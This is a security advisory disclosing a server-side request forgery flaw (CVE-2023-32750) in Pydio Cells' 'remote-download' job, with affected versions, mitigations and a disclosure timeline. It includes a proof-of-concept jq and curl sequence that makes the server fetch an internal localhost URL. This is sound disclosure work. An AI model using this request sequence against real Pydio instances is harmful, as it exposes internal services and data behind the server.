For longer running processes, Pydio Cells allows for the creation of  
jobs, which are run in the background. The job "remote-download" can be  
used to cause the backend to send a HTTP GET request to a specified URL  
and save the response to a new file. The response file is then available  
in a user-specified folder in Pydio Cells.  
Product: Pydio Cells  
Affected Versions: 4.1.2 and earlier versions  
Fixed Versions: 4.2.0, 4.1.3, 3.0.12  
Vulnerability Type: Server-Side Request Forgery  
Security Risk: medium  
Vendor URL:  
Vendor Status: notified  
Advisory URL:  
Advisory Status: published  
CVE: CVE-2023-32750  
"Pydio Cells is an open-core, self-hosted Document Sharing and  
Collaboration platform (DSC) specifically designed for organizations  
that need advanced document sharing and collaboration without security  
trade-offs or compliance issues."  
(from the vendor's homepage)  
More Details  
Using the REST-API of Pydio Cells it is possible to start jobs. For  
example, when renaming a file or folder an HTTP request similar to the  
following is sent:  
PUT /a/jobs/user/move HTTP/2  
User-Agent: agent  
Accept: application/json  
Authorization: Bearer G4ZRN[...]  
Content-Type: application/json  
Content-Length: 140  
"JobName": "move",  
"JsonParameters": "{\"nodes\":[\"cell/file.txt\"],\"target\":\"cell/renamed.txt\",\"targetParent\":false}"  
The body contains a JSON object with a job name and additional  
parameters for the job. Besides the "move" job, also a job with the name  
"remote-download" exists. It takes two additional parameters: "urls" and  
"target". In the "urls" parameter, a list of URLs can be specified and in  
the parameter "target" a path can be specified in which to save the  
response. When the job is started, HTTP GET requests are sent from the  
Pydio Cells server to the specified URLs. The responses are saved into a  
file, which are uploaded to the specified folder within Pydio Cells.  
Potential errors are transmitted in a WebSocket channel, which can be  
opened through the "/ws/event" endpoint.  
Proof of Concept  
Log into Pydio Cells and retrieve the JWT from the HTTP requests. Then,  
run the following commands to start a "remote-download" job to trigger  
an HTTP request:  
$ export JWT="<insert JWT here>"  
$ echo '{"urls": ["http://localhost:8000/internal.html"], "target": "personal-files"}' \  
| jq '{"JobName": "remote-download", "JsonParameters": (. | tostring)}' \  
| tee remote-download.json  
$ curl --header "Authorization: Bearer $JWT" \  
--header 'Content-Type: application/json' \  
--request PUT \  
--data @remote-download.json ''  
The URL in the JSON document specifies which URL to request. The "target"  
field in the same document specifies into which folder the response is saved.  
Afterwards, the response is contained in a file in the specified folder.  
Potential errors are communicated through the WebSocket channel.  
Limit the services which can be reached by the Pydio Cells server, for  
example using an outbound firewall.  
Upgrade Pydio Cells to a version without the vulnerability.  
Security Risk  
The risk is highly dependent on the environment in which the attacked  
Pydio Cells instance runs. If there are any internal HTTP services which  
expose sensitive data on the same machine or within the same network,  
the server-side request forgery vulnerability could pose a significant  
risk. In other circumstances, the risk could be negligible. Therefore,  
overall the vulnerability is rated as a medium risk.  
2023-03-23 Vulnerability identified  
2023-05-02 Customer approved disclosure to vendor  
2023-05-02 Vendor notified  
2023-05-03 CVE ID requested  
2023-05-08 Vendor released fixed version  
2023-05-14 CVE ID assigned  
2023-05-16 Vendor asks for a few more days before the advisory is released  
2023-05-30 Advisory released  
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